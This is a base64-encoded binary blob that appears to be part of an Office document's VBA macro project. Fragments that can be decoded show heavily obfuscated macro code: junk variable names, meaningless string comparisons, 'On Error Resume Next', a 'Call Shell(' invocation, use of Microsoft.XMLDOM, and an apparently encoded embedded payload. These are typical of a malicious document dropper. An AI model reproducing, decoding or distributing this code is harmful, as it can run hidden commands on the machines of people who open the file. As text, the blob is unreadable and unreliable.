c1J0RWdMYm5NSnhZNzdrXzl1V0R6TTFZX2JZR3RHcl9mT0oyQ3RGOAAFAJwAAABdAPIESAQAAGsA //+gBwAAXQDyBGAEAAC2ABcAdjMxaFpaUTF1eFljcEVzdGVER2ROZU0AtgAqAEFHMkJSamhxRk9l Nm16aHQ1YU1mWERHZzdsYmpGRHZyUG96WmdYOE9LRgUAnAAAAF0A8gR4BAAAawD//zgHAABdAPIE kAQAALYAGABCbWVLRDhQSGhTdUtyRFVGRXE4S0l6RnS2ADkAZUs2U1lueW9KS3BuVHFVTUJIaTJ1 Q19URjl3RUhjV0pmdW8xQjdzNGRfQWZWcXZYVHRJQVBNOWJKAAUAnAAAAF0A8gSoBAAAawD//8AG AABdAPIEwAQAAF0A8gTYBAAAtgAcAGtsRXB1X3lfQTN6TnVSYWJ1OHY3X2t2WTZQUXO2ADIAWWlD dnNjX0xLczVoN0xZRFFIb09WU0J4OVdBOXlvdGN2X2laekRkUFJOT0FDTTkyS3IFAJwAAAAAAAAA XQDyBPAEAABrAP//QAYAAF0A8gQIBQAAtgAMAE9TN0lSTzJqamx3b7YAJQBwY2FVSk9LY0RqdEFD YTlFRjU4b21YOHFqUXFwWmxvVUwyUm5wAAUAnAAAAF0A8gQgBQAAawD//+gFAABdAPIEOAUAALYA HAByNlVESVZyYWNLbEZxcV9XUDZycVJGS2NZX0lttgAmAGVuaThkTkdjUV95U1ZYZjVSendZb24x dlpabGp0Mm1JS182eWxtBQCcAAAAXQDyBFAFAABrAP//gAUAAF0A8gRoBQAArABuAawADAEMACQg kgIBAKwA4wGsAHoBDAAkIJICAQARAKwAxAGsAFYBDAAkIJICAQARAKwAIQGsAPMADAAkIJICAQAR AKwAEwGsALEADAAkIJICAQARAKwA/QCsAJwADAAkIJICAQARAKwAwAGsAE0BDAAkIJICAQARAKwA FQGsALAADAAkIJICAQARAKwA7wCsALkADAAkIJICAQARAKwAVQGsACEBDAAkIJICAQARACcAHgIA ALYAEwBwb0hXbWFpcGV5SjM1TXVDUl9mALYAJwBKc0dnTXY2c2lpN2JtNVd0azNCT2Q1bVNEcVdK MnMzaGJxZ2xoRjUABQCcAF0A8gSABQAAawD//2gEAABdAPIEmAUAALYAFABUZnoxRzRnWVlZNzh0 MUNOdVkyY7YAKABCQVZiZzF4bW1oVGZhV1l4RlBSVVhwNXlITm45YzczZDRsalNJV1JQBQCcAF0A 8gSwBQAAawD//wgEAABdAPIEyAUAALYAEwBPdnFqU2pXZkRPaGFfd2poNE80ALYAIgB6T1pOT2cy QW82Nzh2eDNjNUFxTW5hMVNHOXZMeGJhSUF5BQCcAAAAAAAAAF0A8gTgBQAAawD//6gDAABdAPIE +AUAAO0AIAAgAiQAoAIBAC4AdgK2AAcAZXFaSFB2VgC2ADAAZEVTU3lDRm9PNWdOSW1GM09Eamhw V2h5N1ZzYjY3YVY4cU9KM2ZWRTh5ZzlYdFhLBQCcAAAAAABdAPIEEAYAAGsA//84AwAAXQDyBCgG AAC2AAYAcVZfWl9ztgAnAGVwVnM4ZWhKSzRrZFRfbTF4WmJDN09MSDlVTlRpTWZUb2ZNNXFidAAF AJwAAAAAAAAAXQDyBEAGAABrAP//4AIAAF0A8gRYBgAAtgAJAEZHeVJaNEVCMQC2ACUAT29taHI3 cF94cHlmMmdEY0RWbmQyd0I3Q0Z2X3lpSUM4V1BfaAAFAJwAAAAAAF0A8gRwBgAAawD//4gCAABd APIEiAYAAO0AtgAQAHVtUHRPT2dORHMxS2MyUTIgAHYCJQCuAgEALgCEAgAAAAC2ABoARWxMcDFK UUFNdjU2WnVqVDYybDE5MW04UWW2ACgAVElQdGNpRjRDVm9kTjVKb3hJZW5tX3RyN21lOWdNOE1Y VHpGdGJSVQUAnAAAAF0A8gSgBgAAawD///gBAABdAPIEuAYAALYAHQBTcW9YMkc3YnJ5SVJKcHdh MWM4b3AxclZrQTJfTgC2ACUAaF9OR1FxQUxYbnhZR21GZkRHVUtBSlV2d2I4UnZ6TjdNd1BJRAAF AJwAXQDyBNAGAABrAP//kAEAAF0A8gToBgAAtgAHAGV2X3lucm4AtgAmAGdBWGFaeVFKM0NHakg0 YlRKdEQ2YjUyWG01RTZiZkNlMTZiQjlQBQCcAAAAAAAAAF0A8gQABwAAawD//zgBAABdAPIEGAcA ACAAHgIgAIQCKAC8AgAAAAC2ABQAUkdHYXNsbVhBalN6aEZuVzdWZGa2ADIAVkJRYkxZUzJfb3p2 MkFwU3JTeUU4RlR6TFNaWG5BVGx0eFRQem9NU1J0UlR0ZzdnWVMFAJwAAAAAAAAAXQDyBDAHAABr AP//uAAAAF0A8gRIBwAAtgAUAGR0SkF0NW8zQXl4TlltZldXeURQtgAkAEpzOHUzSm56cHdZQkQ5 WDdaRjQzNDVEdzU0X0JDa0pTWHN1dQUAnAAAAAAAXQDyBGAHAABrAP//WAEWAQAA8AAAAPwKAADU AAAAiAEAAP////8DCwAAGycAAAAAAAABAAAAMeV36QAA//8DAAAAAAAAALYA//8BAQAAAAD///// AAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAABAAAAADAAAABQAAAAcAAAD//////////wEBCAAAAP////94AAAAAgAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAATUUAAP///////wAAAAD//wAAAAD//wEBAAAAAN8A //8AAAAA//////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////wAAAAD//wEBAAAAAAAAAAAAAP////8BAegIAABghB4C//// //////8IAP//AAAAAAEAAABghCAC//////////8IAP//AAAAAAAAAAALEiICsAIAAP////8AAAAA //////////8AAAAAAAAAAP////8AAAAA////////////////NwAAAAAAhAAAAgAAYIQkAv////// ////BwD//wAAAAB4AAAAYIQmAv//////////BQD//wAAAAAIAAAAYIQoAv//////////BwD//wAA AABgAAAAYIQqAv//////////BQD//wAAAAAACACAYIQsAv//////////BwD//wAAAAAAAAAAYIQu Av//////////BQD//wAAAABwAQAAYIQyAv//////////BwD//wAAAAAAAAAAYIQ0Av////////// BQD//wAAAAAAAAAAYIQ2Av//////////BwD//wAAAAAAAAAAYIQ4Av//////////BQD//wAAAAAA AAAAYIQ6Av//////////BwD//wAAAAAAAAAAYIQ8Av//////////BQD//wAAAAAAAAAAYIRCAv// ////////BwD//wAAAAAAAAAAYIREAv//////////BQD//wAAAAAAAAAAYIRGAv//////////BwD/ /wAAAAAAAAAAYIRIAv//////////BQD//wAAAAAAAAAAYIRKAv//////////BwD//wAAAAD4AQAA YIRMAv//////////BQD//wAAAAAAAAAAYIRQAv//////////BwD//wAAAAAAAAAAYIRSAv////// ////BQD//wAAAAAAAAAAYIRUAv//////////BwD//wAAAAAAAAAAYIRWAv//////////BQD//wAA AAAAAAAAYIRYAv//////////BwD//wAAAAAAAAAAYIRaAv//////////BQD//wAAAAAAAAAACxJA Av//////////AAAAAP//////////AAAAAAAAAAD/////AAAAAPACAAAMAP///////4gAAAAAAIwB AAIAAEmDXAL//////////wwB//8AAAAA/////4ABAAAAAAAAYIReAv//////////BwD//wAAAAAA AAAAYIRgAv//////////BQD//wAAAAAAAAAAYIRiAv//////////BwD//wAAAAAAAAAAYIRkAv// ////////BQD//wAAAAAAAAAAYIRmAv//////////BwD//wAAAAAAAAAAYIRoAv//////////BQD/ /wAAAAAAAAAAYIRqAv//////////BwD//wAAAAAAAAAAYIRsAv//////////BQD//wAAAAAAAAAA YIRuAv//////////BwD//wAAAAAAAAAAYIRwAv//////////BQD//wAAAAAAAAAAYIRyAv////// ////BwD//wAAAAAAAAAAYIR0Av//////////BQD//wAAAAAAAAAAQIR2Av//////////DAD//wAA AAAAAAAAYIR4Av//////////BwD//wAAAAAAAAAAYIR6Av//////////BQD//wAAAAAAAAAAYIR8 Av//////////BwD//wAAAAAAAAAAYIR+Av//////////BQD//wAAAAAAAAAAYISAAv////////// BwD//wAAAAAAAAAAYISCAv//////////BQD//wAAAAAAAAAAQISEAv//////////DAD//wAAAAAA AAAAYISGAv//////////BwD//wAAAAAAAAAAYISIAv//////////BQD//wAAAAAAAAAAYISKAv// ////////BwD//wAAAAAAAAAAYISMAv//////////BQD//wAAAAAAAAAAYISOAv//////////BwD/ /wAAAAAAAAAAYISQAv//////////BQD//wAAAAAAAAAAYISUAv//////////BwD//wAAAAAAAAAA YISWAv//////////BQD//wAAAAAAAAAAYISYAv//////////BwD//wAAAAAAAAAAYISaAv////// ////BQD//wAAAAAAAAAAYIScAv//////////BwD//wAAAAAAAAAAYISeAv//////////BQD//wAA AAAAAAAAYISiAv//////////BwD//wAAAAAAAAAAYISkAv//////////BQD//wAAAAAAAAAAYISm Av//////////BwD//wAAAAAAAAAAYISoAv//////////BQD//wAAAAAAAAAAYISqAv////////// BwD//wAAAAAAAAAAYISsAv//////////BQD//wAAAAAAAAAAYISwAv//////////BwD//wAAAAAA AAAAYISyAv//////////BQD//wAAAAAAAAAAYIS0Av//////////BwD//wAAAAAAAAAAYIS2Av// ////////BQD//wAAAAAAAAAAYIS4Av//////////BwD//wAAAAAAAAAAYIS6Av//////////BQD/ /wAAAAAAAAAAYIS+Av//////////BwD//wAAAAAAAAAAYITAAv//////////BQD//wAAAAAAAAAA YITCAv//////////BwD//wAAAAAAAAAAYITEAv//////////BQD//wAAAAAAAAAAYITGAv////// ////BwD//wAAAAAAAAAAYITIAv//////////BQD//wAAAAAAAAAAYITKAv//////////BwD//wAA AAAAAAAAYITMAv//////////BQD//wAAAAAAAAAAYITOAv//////////BwD//wAAAAD4BwAAYITQ Av//////////BQD//wAAAAAAAAAAYITSAv//////////BwD//wAAAAAAAAAAYITUAv////////// BQD//wAAAAAAAAAAYITYAv//////////BwD//wAAAAAAAAAAYITaAv//////////BQD//wAAAAAA AAAAYITcAv//////////BwD//wAAAAAAAAAAYITeAv//////////BQD//wAAAAAAAAAAYITgAv// ////////BwD//wAAAAAAAAAAYITiAv//////////BQD//wAAAAAAAAAA/////xgHAAACAP//AAAA AAAAAAAAAAAAMAAAAP//////////////////////////sAIAAP////////////////////////// ////////////////AAAAAAAAAAD//////////wAAAAD///////////////////////////////// //////8AAAAAAADfAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA/soBAMEAAIAIAAgAAAAAAAAAAIAIAAgAAAAIAAAAIoEIAAYAAAAQAAAA AIEIAAQAAAAYAAAAAIEIAEYAAAAgAAAAAIAIAAgAAABoAAAAAIEIAAIAAABwAAAAAIAIAAgAAAB4 AAAAAIEIAFYAAACAAAAAAIAIAAgAAADYAAAAAIEIAAIAAADgAAAAAIAIAAgAAADoAAAAAIEIAEwA AADwAAAAAIAIAAgAAABAAQAAAIEIAAIAAABIAQAAAIAIAAgAAABQAQAAAIEIAAgAAABYAQAAAIEI AEgAAABgAQAAAIAIAAgAAACoAQAAAIEIAAIAAACwAQAAAIAIAAgAAAC4AQAAAIEIAEoAAADAAQAA AIAIAAgAAAAQAgAAAIEIAAIAAAAYAgAAAIAIAAgAAAAgAgAAAIEIAFoAAAAoAgAAAIAIAAgAAACI AgAAAIEIAAIAAACQAgAAAIAIAAgAAACYAgAAAIEIAKIAAACgAgAAAIEIAEAAAABIAwAAAIAIAAgA AACIAwAAAIEIAAIAAACQAwAAAIAIAAgAAACYAwAAAIEIAEAAAACgAwAAAIAIAAgAAADgAwAAAIEI AAIAAADoAwAAAIAIAAgAAADwAwAAAIEIAEAAAAD4AwAAAIAIAAgAAAA4BAAAAIEIAAIAAABABAAA AIAIAAgAAABIBAAAAIEIAA4AAABQBAAAAIEIAEoAAABgBAAAAIAIAAgAAACwBAAAAIEIAAIAAAC4 BAAAAIAIAAgAAADABAAAAIEIADQAAADIBAAAAIAIAAgAAAAABQAAAIEIAAIAAAAIBQAAAIAIAAgA AAAQBQAAAIEIADQAAAAYBQAAAIAIAAgAAABQBQAAAIEIAAIAAABYBQAAAIAIAAgAAABgBQAAAIAJ AAAAAAD/////BIEIAAIAAABoBQAAQoEMAAYAAABwBQAAAIEIAFgAAAB4BQAAAIAIAAgAAADQBQAA AIEIAAIAAADYBQAAAIAIAAgAAADgBQAAAIEIAGAAAADoBQAAAIAIAAgAAABIBgAAAIEIAAIAAABQ BgAAAIAIAAgAAABYBgAAAIEIADwAAABgBgAAAIAIAAgAAACgBgAAAIEIAAIAAACoBgAAAIAIAAgA AACwBgAAAIAJAAAAAAD/////AIAJAAAAAAD/////AIEIABgAAAC4BgAAAIEIAEYAAADQBgAAAIAI AAgAAAAYBwAAAIEIAAIAAAAgBwAAAIAIAAgAAAAoBwAAAIEIAEgAAAAwBwAAAIAIAAgAAAB4BwAA AIEIAAIAAACABwAAAIAIAAgAAACIBwAAAIEIAEYAAACQBwAAAIAIAAgAAADYBwAAAIEIAAIAAADg BwAAAIAIAAgAAADoBwAAAIAIAggAAADwBwAAAIEIAFYAAAD4BwAAAIAIAAgAAABQCAAAAIEIAAIA AABYCAAAAIAIAAgAAABgCAAAAIEIAE4AAABoCAAAAIAIAAgAAAC4CAAAAIEIAAIAAADACAAAAIAI AAgAAADICAAAAIEIAF4AAADQCAAAAIAIAAgAAAAwCQAAAIEIAAIAAAA4CQAAAIAIAAgAAABACQAA AIAIAggAAABICQAAAIEIAFoAAABQCQAAAIAIAAgAAACwCQAAAIEIAAIAAAC4CQAAAIAIAAgAAADA CQAAAIEIAD4AAADICQAAAIAIAAgAAAAICgAAAIEIAAIAAAAQCgAAAIAIAAgAAAAYCgAAAIEIAE4A AAAgCgAAAIAIAAgAAABwCgAAAIEIAAIAAAB4CgAAAIAIAAgAAACACgAAAIEIA7YAAACICgAAAIEI AEgAAABACwAAAIAIAAgAAACICwAAAIEIAAIAAACQCwAAAIAIAAgAAACYCwAAAIEIAEgAAACgCwAA AIAIAAgAAADoCwAAAIEIAAIAAADwCwAAAIAIAAgAAAD4CwAAAIEIAEIAAAAADAAAAIAIAAgAAABI DAAAAIEIAAIAAABQDAAAAIAIAAgAAABYDAAAAIEIAhAAAABgDAAAAIEIAEQAAABwDAAAAIAIAAgA AAC4DAAAAIEIAAIAAADADAAAAIAIAAgAAADIDAAAAIEIADoAAADQDAAAAIAIAAgAAAAQDQAAAIEI AAIAAAAYDQAAAIAIAAgAAAAgDQAAAIEIADwAAAAoDQAAAIAIAAgAAABoDQAAAIEIAAIAAABwDQAA AIAIAAgAAAB4DQAAAIEIAiQAAACADQAAAIEIAE4AAACoDQAAAIAIAAgAAAD4DQAAAIEIAAIAAAAA DgAAAIAIAAgAAAAIDgAAAIEIAFAAAAAQDgAAAIAIAAgAAABgDgAAAIEIAAIAAABoDgAAAIAIAAgA AABwDgAAAIEIADoAAAB4DgAAAIAIAAgAAAC4DgAAAIEIAAIAAADADgAAAIAIAAgAAADIDgAAAIEI AgwAAADQDgAAAIEIAFIAAADgDgAAAIAIAAgAAAA4DwAAAIEIAAIAAABADwAAAIAIAAgAAABIDwAA AIEIAEQAAABQDwAAAIAIAAgAAACYDwAAAIEIAAIAAACgDwAAAIAIAAgAAACoDwAAAIEIAEwAAACw DwAAAIAIAAgAAAAAEAAAAIEIAAIAAAAIEAAAAIAIAAgAAAAQEAAAAIEIAgwAAAAYEAAAAIEIAFAA AAAoEAAAAIAIAAgAAAB4EAAAAIEIAAIAAACAEAAAAIAIAAgAAACIEAAAAIEIAEoAAACQEAAAAIAI AAgAAADgEAAAAIEIAAIAAADoEAAAAIAIAAgAAADwEAAAAIEIADwAAAD4EAAAAIAIAAgAAAA4EQAA AIEIAAIAAABAEQAAAIAIAAgAAABIEQAAAIEIAgwAAABQEQAAAIEIAFoAAABgEQAAAIAIAAgAAADA EQAAAIEIAAIAAADIEQAAAIAIAAgAAADQEQAAAIEIAFgAAADYEQAAAIAIAAgAAAAwEgAAAIEIAAIA AAA4EgAAAIAIAAgAAABAEgAAAIEIAEoAAABIEgAAAIAIAAgAAACYEgAAAIEIAAIAAACgEgAAAIAI AAgAAACoEgAABIEIAAIAAACwEgAAAIAJAAAAAAD/////AIAJAAAAAAD/////AIAJAAAAAAD///// /////wEBwBIAAF0A8gQAAAAAXQDyBBgAAACWBDAAAAAAAMkEAABgAAAAtgAKAEk1R19RcmpBR1+2 ADAAWEp2c1RoMzU2bHBmSjMyT1V6Z005aVNGUV9EaU1Xdk1PVklnY0g2YmxpT3lhbXNNBQCcAAAA XQDyBHAAAABrAP//CAAAAF0A8gSIAAAAtgAQAGRvUFVUYjZ5S1NDa3lVdzS2ADoAaFRTVUtMUGFW RlBQcGhTOEc1elRlcVFlaXBqV3o1aE9KaXJ0OUpXUVd5OE1KbkhsX19jM2RhVzFCeAUAnAAAAF0A 8gSgAAAAawD//xgAAABdAPIEuAAAALYACAB2M0tFd2lRObYAOABxQkRPN2tSZWJaZkhEaVpHYk9H Rl9yeVdBbGlQSFhXVlY1anZIS3VFV19hamRPY0tiQ2xnYUk4OQUAnAAAAAAAXQDyBNAAAABrAP// sAAAAF0A8gToAAAArAAAACcAMAK2ABQAZlFDN1ZVMXBoUXZJX19YdmR1NzO2ACcAa29kTllJVEZT XzRJeHRmX19iQ216UExJWGNLUDJZc3dNZGF6dndnAAUAAABdAPIEeAcAALYADgBXS19zbXpvRDdR eTMxeLYAMQBzdDNucjNkX3hkWGxqT19pcW9XS2pNb0N4dDJzTXNnX0dFUndTWFE4M0ZPTU5MRHg3 AAUAnAAAAAAAXQDyBJAHAABrAP//8A8AAF0A8gSoBwAAIABcAiAAhAIoAGQBAAAAALYADwBwUHJf d2lGaHRkX1VLczgAtgA0AFJwSldzajRaUldBYkJQRGU3RUpmc1JxbTNGZGRoVTh5TkhsQWFqQlJ2 eVhwdkVEUW85Rk4FAJwAXQDyBMAHAABrAP//eA8AAF0A8gTYBwAAtgAaAHFMbGp1ZGZiRFlsT1p4 cFRXbU9GbmtZYTc0tgAjAHVValB0RTlLbjZqMjdBTGRHNXd3aUo3WF9hY2pfdkltem10AAUAnAAA AAAAAABdAPIE8AcAAGsA//8QDwAAXQDyBAgIAAC2AA8AbHlyOXlUX1JkZnRTYXlqALYAIABJTk5G VkdiUTZGV3NFYl9SWjk2dWVIZ3c0Skc2OUJxMgUAnAAAAAAAXQDyBCAIAABrAP//uA4AAF0A8gQ4 CAAAIACEAiEA1gInAEACAAAAALYAEwB1dEhkSnluSkd5bDhpOTdlV1A5ALYAOgBGempSX2lhOWN0 dGhWaXdUV0k2RUhTY3lBa2F5WDdUTFVNdkpKYUc1cnpKWVZPT1h1bWlVWkl6dlZ1BQCcAAAAAAAA AF0A8gRQCAAAawD//zAOAABdAPIEaAgAALYAFAB0dndzdVBNT0JjQmxvTlk1T3RuVbYAOABYelVk RmxxcGlZZmtEQ1V5U3R6Q0pmZEhQb3p2b2toVnRYazRaUmxIaGZwazdZaGwzamplM2pJMQUAnABd APIEgAgAAGsA///ADQAAXQDyBJgIAAC2ABUAUmpFRmRqRGVJWW5zN3M2T19iTGhVALYAJwBMUVh0 Z3p6eExXdFJ5eGxqc1RCZE90cExzZnpfVVVZRHhnX1JxVjYABQCcAAAAAAAAAF0A8gSwCAAAawD/ /1gNAABdAPIEyAgAAGkA//9IDQAA/////0ANAAD/////AAAB4L0AQXR0cmlidXQAZSBWQl9OYW0A ZSA9ICJ2TVQAX05uVk0xSl8ATkc2UFMiDQoARGltIE9GUjgASE1Hek5QN2kAcGFSX3Q1ZEgAM2JK X2pqRHoAMlBTVm5mY04AOVo4cUpoUWIAalJyaURGakgAVmRfdzZNV2gASVE4ODdpNUkAOERBUjd2 N1MASnFkUDFkdXQAb0pfSGVwUnQAQ1lnMmpSZV8AV2hrX0VRSmkAZ3BsTXNFcW4AZk1SdWkgQXMk IFMAp25nA4hsTQBUOVE0N0ZpVABwaUt0QXpSNAB6ZWRtX2lxYwBvemdoXzhYawBWbmNDVWNLQQBl YkFReG1ZUQBxcnBxUzhMdARRdwlLU3ViIGMAYTROQ3NCcDYAX1V2RGZFVmoAN2JDKCkNCk8AbiBF cnJvciAQUmVzdQCLTmV4AHQNCklmICJJADVHX1FyakFHBF8iAZZYSnZzVABoMzU2bHBmSgAzMk9V emdNOQBpU0ZRX0RpTQBXdk1PVklnYwBINmJsaU95YQBtc00iIFRoZQJuA2RMQlZ0YzMAX3l6b2FT Y1MAcWd5YlB4clMAdkszRGtZUmQAbm5QelVKQUIAc1VQVHF3cWyAOFEycl85VoFgAERhdGUNCkVu EGQgSWYDJWQzTgBKellRb2VVXwB3Q204ZWZ2cgA0Z1drOGNQXwhSZ2qCGW91YmwDgBqBYWRvUFVU YgA2eUtTQ2t5VQR3NEIyaFRTVUsATFBhVkZQUHAAaFM4RzV6VGUAcVFlaXBqV3oANWhPSmlydDkA SldRV3k4TUoAbkhsX19jM2QgYVcxQnjJNHZkAGsyalpnQV9GAHpoOTZmaDZwAHJDUzRmOFd1AGFu dXJKMXFJAFgyb2VOZm9IARMyaEJ2WkVmVQA1ZHFHOWMxOABsY3g5M09VNQA4enhnbTJZYQBKVkpU ZEo3bwA1UnlNYnJycEBmNEJCWWfNN3aAM0tFd2lROcI1AHFCRE83a1JlAGJaZkhEaVpHAGJPR0Zf cnlXAEFsaVBIWFdWAFY1anZIS3VFAFdfYWpkT2NLgGJDbGdhSTgADwJURmpLb01TQkEAVkNDSXZH OW0AOU9jQXM5UE0BUzB1R1Z4X3V6ADVMNmtpYjhaAERVbVhnVGNVAEx4RFZDWVo5AHE4dmJLbktR gFBMTmlKV0SJLgBFaXk3Sm9hOQBmQ09jMWdGYwAzckhGNkVJdwBfNEhoSmFEZwBpR3ozazZEVwBR QkkzdDE0ZQBZa2MyeFRGXwBZQTdPZjJ4RAA4cjNycUwyNgBudHkzNlBDSApfAKgwQ61mUUM3AFZV MXBoUXZJAF9fWHZkdTczAUJHa29kTllJVABGU180SXh0ZgBfX2JDbXpQTABJWGNLUDJZcwB3TWRh enZ3ZwHKVl90VWJXa1UAT2NSdkJyU0IAU2FUeTU3RE0ANFVFNlJRb1IASzR6bEU0dHYAd0c2d2lt cV+AM2FGV1o3bLMlAE41ZWFGUG5CADd3OWlGMXA2AFlxZ0J2QVBuAE9uQUJ6SVExAE5RanFpYmxk AEdFODlpQ2lMYExkcW8yiSbhWXkATG56S2JPbEoAd2VGVHhQOVUANl9DNHBDUEQMS0SAU0CaeVVh awA5U2JXQnNQSABOZTRJY2JydAA2TEh0anlfSEBIVnU5V2FqWHkAVDNHQVUyNmwAbzV3WHUydmsA Y1Mxa0txX0gAUlJNbjdQdHcAcl95aVNxV0MBcxpQZURvQmpXAE9qSGVEaUlsAG0zOXFDblBuAFhJ X29vQ0tRAHU1eFRwbFRGAnKAJnd1cExoYUBKcFM5VFetGnoAb2RBNXFMVzEAc0h1eTZBZzIgOUdw SzGiNm1jAHZGTTJlN3VpAFlUeTZ6X3ZMAHRwNkFmYXNlAElHYV9McHY5AcC5eGNUMTQ3aABUY0VE cXZLNAg2ZTWJHGs3VFYAcXFWZHVWcmcAeTR5ejhyWXkAQUM4RU5ZX1oAbndRdFBEWUMINFp2Mxxs Y1hLAEpsNU9JMjZNAEpmcDNoOE1HAFFsNno3XzhQAHVjdTZnNndUYGx6dmNTo3xEj04ASGh1ZHZ2 T2IANUtuZUZXT1cAYWlzTzNRQWYQZExhSGBVdG5XADlZa3hDREE2AHIyVVZfc1lsADVTTnpBbVNi ADd0Qk5NWHV2AGk1dkhIeE1vAE5TeVVyVXphAENPVmhkd1VUACgiVFFCekFHAGtBWlFCWUFHQFVB UXdBdeEAZQBBQmxBQ0FBTAh3QnDhAGFBQjAAQUhRQWNBQTZr4B3hAnPiBmfgAuAGYgJn4AVHRUFM Z0IVgLw44QBy4QhMd0EAM0FEZ0FOd0EAekFEVUFaQUFAd0FDNEFi5A5JAEFBdkFIRUFkBlHgDOAI ZEFBPSIDIMnhU2hxaUVNakBKMURvUmPDxmcAaE5fbm5kcEUIX29OALxxS3N3AEdxVkdWOXNvAGps cE9OYXZ2CENrcOk1eW9uTQBhcTN6ZE4zSAAyNWRUUUlaMQBFNDgzQ1h0WgB2NmhMX2Q0RwBjYjRZ YkdOWgRwYtM2eFNzRWMAa2xzajRwdEkAQzdhRGhvcEQAV19VMXlOX1cAN25mTGpqWXAAb2E3alQz X1oAc1ExYl9EcHQQX1hZUr4pTm5VIGtVbU5I0ihnaQBhZnVXRXJfcgBkXzVGZldnVgAzOHVMS0lF UgBZdmo4OU90UABLclg1Tm9pQgI0Kg1RYUZGOEQAOHRQVlRXUFoAYThTRkZyTU8AbTV4OGtHTFcA c1FlTnd6Um8DrwzRiGs0QWRjMwAxU0Zkd3FPNAB2N3BCeEpRXwBhemYybUIyQgBsam5tZUtwcwB1 c0RjekZTZWZHQgQYcHhkIE2AQWcAdUJGVmthSjgAa095YV8yTEIAa1hpTzdPX0YAd0hUZV9zeGYA U2MxaGdQM3RAZXRJY05CCRl1AE1GY2VZNFBqAGQ3X2liRW83ADFaUUdqQW5kAFRkeXRLX2oxAHVW RlhmTVhrAEMzVWtncVpuA48MgQx6d1JCNjQASkxhOUo0X2UAV1hVR3dfOU8AWm1BcERwbkMAN21E SjRYdmeANDFLMzZnQmkMAENhbGwgU2hlmGxsKI81iDUsIH9lPX9la39lf2V1ZWQtY2UAZmQ2Tlgz VG4gaVVvQU6yIHljAGhYQmd6NGo4AGx3TTYzRVMyAGpmSmdLcXdnAHNyZVRCRWZuEEJxU2bwmms1 ZQJSWldJN2FoT2MAX2NEUVF6a2MAd0dXTzZmT2gANEp1dlZfM2gAa29YVFd1TzcGX18UURRoQUJp cwBZYzVCcGVMbwBpdkprQ1B2YgBFOWpkcGxhTwBfQTFaSlZkTAA4SXRRelRXVgBVNV9rSHZyOcZJ 6RRxOmthQSAJYCEAQ3dCbjZvbXYAZExQOGwzZWQIbHVq0GJmeUVSAFIyT2k0YnUzAkWpIE5KWHJz aABaMlNKSHljbzA4cFpOXwpRClJPAEtobFV1ZTVRAHdLcnZnTlpWADJjaVJuZDRJgGJYampNQmYN CSB3cUNsdXIVVTcAQ2VpZThZQjUAWWdTZ3RUOWoAcG1iM1Y0U0SAdW90OXlLd/kIAGplZWZ3Xzg1 AHNZYkpCNGN1AGx3RlU5UmJqAEdKZXRSb0NfGE1zcg8KAQpCTngAS2VycXJiM3MAUUhQNEdKcnoA eFBDNFdraE0AbERWVjdSSmEAZXdram1Qal8AcFczVWNYZjIKVrpBDVKpU3ViDQAKRnVuY3Rpbzxu IG9db11vXWNdTUZAaUFUckpqQBtOAGhVU2JGZmdZAG5BWU4xUFBxAFBXWnN1Z05fAGFkR1JGTU9D ADZhSFRWMTFvAEsyR0xwU0hDAFpiUjk1bGNfAEVNX2tYTlFaAHRWUlhGNlNZAGZ0ZzNZQldHIFRE MW00pCxhOQBUWWk2Y0RuX4Bmdjk4eVdUQhcAaUZLZnBCTF8Ackt0TWdkOWkEV3MAqEFuSEw2ADRJ azRXbV9LAFFOSlZ1NkZZQDFzc3pGagBUTUBWTDdnYkPZGFMAc0dDV3h3RU0AVEt0WF83ZUMAN0k0 WFV4UmwAWFJIUHZOdHaARkJBd0NCQy8ZASEZbWx1WHZ4aQBPMUk5VmhuOAA1eVo5ZG14WgBFWjhQ ODZxOQA0Rjh0c0M0eQBqcjNZbE5XTABiREU4bENnUAPCBAlPS243eGZrAFNISV9OaTNNADE0ald1 dFh3BjGQCvAudHgzenKAVjFpcDVnV1BxAEZoT2JJR21pAHpNREFudWZZAFd3NERycmNaAHdMbzM3 cGM4AGlUbktHVHE0BEVNig5rblRMdwBJZUhpQTdUVwBfeW82YXRrSAZ0Hzvi5GFTRlNRAENFXzdj bjF1AGE5MnJhZjM3AGtfT0VRbnRhAFVsM3poMjJvgHlMRWNfOXrTKhHYDExDTAMaQUlsADFHeVN6 TTlXBFRoIFdfTGlFTAAzTVpYNmtIZgAzTWF3MlRhUBA5WkJoSsprTHEASGFYODdLemwAelZHNkth SkwISVJTYItwT1hkAEF1ZmdXUF9zME9jTEovGSEZaXAAVng3ZEtlX2YATnhYZVBhdWoIdUdokPBf UTl6RDVhcKI5c21cMQ0+Cl/rX+tf61TrIBpNaQBjcm9zb2Z0LsB4bWxkb21Q+SFLAEZpSkMzWWNm AeIQckgxOWc3bgByRGtGZVFzbgBlVGlsVGd4WAR2bXAtal9vQnAAaFZIRjFXZGcAODVXa0ZfVjUA Kb0AbiIgVGhlbg0ACkRpbSBxUncASDgzc19VY1IAbUc5NkR4c1UAZFhjS0Z3aDMAQUllOFBfNVcA VU5naSBBcyAARGF0ZQ0KRW4QZCBJZgN4Y1lBAGQzSjN6NlpmAFJVQVlOTEVvAFVZX3E0eWRCAGdL aml4UEgyAF9WOFE2M3E3AGlsTGxObm9JQk4Ckm91YmwAS0kAZiAiaUpIYnEgRW5YR1QAlz0gACJU MXJBS0hUADJNeHJhckNGAFBsMnczZVpTAE5fX1hWUFIzAHhnQmtyNEtZAEVTdzVaMXJaAQnLWWl4 QmZUYQBIM2ZiNUtzOARqNAAAb1pYVloAYXBocWQzVlUEaDkTx3ZhUFViAF8zcUphT01VAFVLX2U3 eHQ4AEpha19tMlpYEG1faGwNWnRKSABtZ1p4dnJMNYBJTFNMZCIggFwAY1ZZZ3hfazkAb1B4S2FS Z1UAcGtrSUNWOGUAOThPN2ZaMVMAbzY0T29BeHQEaUkJWk9ra1RZAG9pY2tyQmFGAFg0Z3p0bmFN gFlkZmRXUHCTVgBvdjFqMldxMwBXbHlRNzdOawBsY3cxdGM4XwA0cXN6Rl95QQBXMnd5emFociRx XwlbICAB92l0AFF6NXFmaUFrAF9iWElualIxAHIxZ3JTcWpwAFUzSExheVRiAHlaS1R4VU1uAGJU 